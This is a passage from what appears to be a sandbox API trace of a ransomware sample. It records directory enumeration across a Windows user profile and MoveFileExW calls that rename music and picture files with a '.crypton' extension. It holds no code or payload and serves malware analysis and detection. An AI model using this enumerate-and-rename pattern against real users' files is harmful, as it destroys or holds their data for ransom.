cFileName=".", cAlternateFileName="")) returned 0x549710 [0216.903] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfea4d980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfea4d980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0216.906] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfea4d980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfea4d980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0216.909] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x36000234, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0216.915] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfe2dd4c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfe2dd4c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0216.918] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4-bPwe6 nAT6 f\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0d24ed0, ftCreationTime.dwHighDateTime=0x1d4cf1a, ftLastAccessTime.dwLowDateTime=0xfea73ae0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfea73ae0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0216.934] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4-bPwe6 nAT6 f\\aytvZTDO8z5_.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4-bpwe6 nat6 f\\aytvztdo8z5_.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4-bPwe6 nAT6 f\\aytvZTDO8z5_.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4-bpwe6 nat6 f\\aytvztdo8z5_.wav.crypton"), dwFlags=0x2) returned 1 [0216.959] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4-bPwe6 nAT6 f\\bRaw-Dgw.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4-bpwe6 nat6 f\\braw-dgw.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4-bPwe6 nAT6 f\\bRaw-Dgw.mp3.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4-bpwe6 nat6 f\\braw-dgw.mp3.crypton"), dwFlags=0x2) returned 1 [0216.986] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4-bPwe6 nAT6 f\\goyBq.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4-bpwe6 nat6 f\\goybq.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4-bPwe6 nAT6 f\\goyBq.m4a.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4-bpwe6 nat6 f\\goybq.m4a.crypton"), dwFlags=0x2) returned 1 [0217.001] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4-bPwe6 nAT6 f\\PHNRFle6bsduL.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4-bpwe6 nat6 f\\phnrfle6bsdul.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4-bPwe6 nAT6 f\\PHNRFle6bsduL.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4-bpwe6 nat6 f\\phnrfle6bsdul.wav.crypton"), dwFlags=0x2) returned 1 [0217.046] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4-bPwe6 nAT6 f\\prg65Aa_e.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4-bpwe6 nat6 f\\prg65aa_e.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4-bPwe6 nAT6 f\\prg65Aa_e.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4-bpwe6 nat6 f\\prg65aa_e.wav.crypton"), dwFlags=0x2) returned 1 [0217.062] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4-bPwe6 nAT6 f\\Vh-X-qfp 9_-8r87G.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4-bpwe6 nat6 f\\vh-x-qfp 9_-8r87g.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4-bPwe6 nAT6 f\\Vh-X-qfp 9_-8r87G.m4a.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4-bpwe6 nat6 f\\vh-x-qfp 9_-8r87g.m4a.crypton"), dwFlags=0x2) returned 1 [0217.069] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6BzYBNB24iVQ\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc72dab0, ftCreationTime.dwHighDateTime=0x1d4d50c, ftLastAccessTime.dwLowDateTime=0xfebca740, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfebca740, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0217.076] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6BzYBNB24iVQ\\-5V1mfV5-595dFLjwnQ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\6bzybnb24ivq\\-5v1mfv5-595dfljwnq.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6BzYBNB24iVQ\\-5V1mfV5-595dFLjwnQ.mp3.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\6bzybnb24ivq\\-5v1mfv5-595dfljwnq.mp3.crypton"), dwFlags=0x2) returned 1 [0217.083] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6BzYBNB24iVQ\\0wQ6az7dIoCRRIU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\6bzybnb24ivq\\0wq6az7diocrriu.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6BzYBNB24iVQ\\0wQ6az7dIoCRRIU.mp3.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\6bzybnb24ivq\\0wq6az7diocrriu.mp3.crypton"), dwFlags=0x2) returned 1 [0217.113] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6BzYBNB24iVQ\\gq807fNBnoEo.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\6bzybnb24ivq\\gq807fnbnoeo.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6BzYBNB24iVQ\\gq807fNBnoEo.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\6bzybnb24ivq\\gq807fnbnoeo.wav.crypton"), dwFlags=0x2) returned 1 [0217.132] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6BzYBNB24iVQ\\L2JyJlKE8HSjTfCGUn.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\6bzybnb24ivq\\l2jyjlke8hsjtfcgun.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6BzYBNB24iVQ\\L2JyJlKE8HSjTfCGUn.m4a.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\6bzybnb24ivq\\l2jyjlke8hsjtfcgun.m4a.crypton"), dwFlags=0x2) returned 1 [0217.158] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6BzYBNB24iVQ\\Ul4mAaSH34O2h8CY.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\6bzybnb24ivq\\ul4maash34o2h8cy.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6BzYBNB24iVQ\\Ul4mAaSH34O2h8CY.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\6bzybnb24ivq\\ul4maash34o2h8cy.wav.crypton"), dwFlags=0x2) returned 1 [0217.232] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6BzYBNB24iVQ\\WNZnTV.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\6bzybnb24ivq\\wnzntv.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6BzYBNB24iVQ\\WNZnTV.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\6bzybnb24ivq\\wnzntv.wav.crypton"), dwFlags=0x2) returned 1 [0217.265] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\b6mlC 6.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\b6mlc 6.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\b6mlC 6.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\b6mlc 6.wav.crypton"), dwFlags=0x2) returned 1 [0217.273] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DmbOF.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dmbof.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DmbOF.mp3.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dmbof.mp3.crypton"), dwFlags=0x2) returned 1 [0217.280] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d954410, ftCreationTime.dwHighDateTime=0x1d4c6c2, ftLastAccessTime.dwLowDateTime=0xfeddfa80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfeddfa80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0217.290] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\0PhO.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\0pho.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\0PhO.mp3.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\0pho.mp3.crypton"), dwFlags=0x2) returned 1 [0217.337] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\4ZZrbeKyBlndwX-zaq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\4zzrbekyblndwx-zaq.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\4ZZrbeKyBlndwX-zaq.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\4zzrbekyblndwx-zaq.wav.crypton"), dwFlags=0x2) returned 1 [0217.381] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\6CrP9WVsb-S2daJ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\6crp9wvsb-s2daj.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\6CrP9WVsb-S2daJ.m4a.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\6crp9wvsb-s2daj.m4a.crypton"), dwFlags=0x2) returned 1 [0217.429] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\BOU0FZyuZ1NS307XLj2.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\bou0fzyuz1ns307xlj2.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\BOU0FZyuZ1NS307XLj2.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\bou0fzyuz1ns307xlj2.wav.crypton"), dwFlags=0x2) returned 1 [0217.456] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\c oUqlmRLHUmhSs2.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\c ouqlmrlhumhss2.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\c oUqlmRLHUmhSs2.mp3.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\c ouqlmrlhumhss2.mp3.crypton"), dwFlags=0x2) returned 1 [0217.501] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\CbyQ6WdR.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\cbyq6wdr.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\CbyQ6WdR.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\cbyq6wdr.wav.crypton"), dwFlags=0x2) returned 1 [0217.519] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\cDkL5vNB3aHP.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\cdkl5vnb3ahp.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\cDkL5vNB3aHP.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\cdkl5vnb3ahp.wav.crypton"), dwFlags=0x2) returned 1 [0217.539] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\tdVQ0aQzZ7Nl.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\tdvq0aqzz7nl.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\tdVQ0aQzZ7Nl.mp3.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\tdvq0aqzz7nl.mp3.crypton"), dwFlags=0x2) returned 1 [0217.545] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\VammQ5oRB8.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\vammq5orb8.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\VammQ5oRB8.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\vammq5orb8.wav.crypton"), dwFlags=0x2) returned 1 [0217.583] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\ytt8Vly9J8.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\ytt8vly9j8.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DT\\ytt8Vly9J8.mp3.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\dt\\ytt8vly9j8.mp3.crypton"), dwFlags=0x2) returned 1 [0217.588] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\joMqkL\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29be7fc0, ftCreationTime.dwHighDateTime=0x1d4d17b, ftLastAccessTime.dwLowDateTime=0xff0d9600, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xff0d9600, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0217.659] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\joMqkL\\jcLPhpHbe6Gr.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jomqkl\\jclphphbe6gr.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\joMqkL\\jcLPhpHbe6Gr.m4a.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jomqkl\\jclphphbe6gr.m4a.crypton"), dwFlags=0x2) returned 1 [0217.669] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\joMqkL\\qNDTiD9OHcFSq.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jomqkl\\qndtid9ohcfsq.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\joMqkL\\qNDTiD9OHcFSq.m4a.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jomqkl\\qndtid9ohcfsq.m4a.crypton"), dwFlags=0x2) returned 1 [0217.683] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\joMqkL\\qzVVgN.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jomqkl\\qzvvgn.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\joMqkL\\qzVVgN.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jomqkl\\qzvvgn.wav.crypton"), dwFlags=0x2) returned 1 [0217.702] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\joMqkL\\ZkrP7LDHXcKWweJ2A.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jomqkl\\zkrp7ldhxckwwej2a.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\joMqkL\\ZkrP7LDHXcKWweJ2A.m4a.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jomqkl\\zkrp7ldhxckwwej2a.m4a.crypton"), dwFlags=0x2) returned 1 [0217.737] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\k_mguU0Tud-d92b7b.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\k_mguu0tud-d92b7b.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\k_mguU0Tud-d92b7b.mp3.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\k_mguu0tud-d92b7b.mp3.crypton"), dwFlags=0x2) returned 1 [0217.891] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\w 6LMO.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\w 6lmo.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\w 6LMO.mp3.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\w 6lmo.mp3.crypton"), dwFlags=0x2) returned 1 [0217.904] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\z6pw3nanqfCYE.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z6pw3nanqfcye.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\z6pw3nanqfCYE.mp3.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z6pw3nanqfcye.mp3.crypton"), dwFlags=0x2) returned 1 [0217.918] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427d9a60, ftCreationTime.dwHighDateTime=0x1d4c653, ftLastAccessTime.dwLowDateTime=0x3b3fc320, ftLastAccessTime.dwHighDateTime=0x1d4cb00, ftLastWriteTime.dwLowDateTime=0x3b3fc320, ftLastWriteTime.dwHighDateTime=0x1d4cb00, nFileSizeHigh=0x0, nFileSizeLow=0x4c4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="z6pw3nanqfCYE.mp3", cAlternateFileName="Z6PW3N~1.MP3")) returned 0xffffffff [0217.923] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427d9a60, ftCreationTime.dwHighDateTime=0x1d4c653, ftLastAccessTime.dwLowDateTime=0x3b3fc320, ftLastAccessTime.dwHighDateTime=0x1d4cb00, ftLastWriteTime.dwLowDateTime=0x3b3fc320, ftLastWriteTime.dwHighDateTime=0x1d4cb00, nFileSizeHigh=0x0, nFileSizeLow=0x4c4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="z6pw3nanqfCYE.mp3", cAlternateFileName="Z6PW3N~1.MP3")) returned 0xffffffff [0217.931] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfe2dd4c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfe2dd4c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0217.981] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0v36cHgn5kNg qieXWqf.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\0v36chgn5kng qiexwqf.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\0v36cHgn5kNg qieXWqf.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\0v36chgn5kng qiexwqf.jpg.crypton"), dwFlags=0x2) returned 1 [0217.998] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9RXFy3nzCwAm3yzYB.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\9rxfy3nzcwam3yzyb.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9RXFy3nzCwAm3yzYB.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\9rxfy3nzcwam3yzyb.png.crypton"), dwFlags=0x2) returned 1 [0218.027] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hn03U_2Fgpn.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hn03u_2fgpn.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Hn03U_2Fgpn.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hn03u_2fgpn.jpg.crypton"), dwFlags=0x2) returned 1 [0218.051] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jn6f-BGd zp.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jn6f-bgd zp.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jn6f-BGd zp.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jn6f-bgd zp.jpg.crypton"), dwFlags=0x2) returned 1 [0218.073] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jz rdLM.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jz rdlm.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jz rdLM.bmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jz rdlm.bmp.crypton"), dwFlags=0x2) returned 1 [0218.084] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Ks9hIdAfDeMcACLmd4.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ks9hidafdemcaclmd4.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Ks9hIdAfDeMcACLmd4.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ks9hidafdemcaclmd4.png.crypton"), dwFlags=0x2) returned 1 [0218.088] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x108f3680, ftCreationTime.dwHighDateTime=0x1d4d445, ftLastAccessTime.dwLowDateTime=0xff59c200, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xff59c200, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0218.125] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\q9TSfbDl GFC1RHT\\8yZUcGn6v8ejoYXypl.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q9tsfbdl gfc1rht\\8yzucgn6v8ejoyxypl.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS 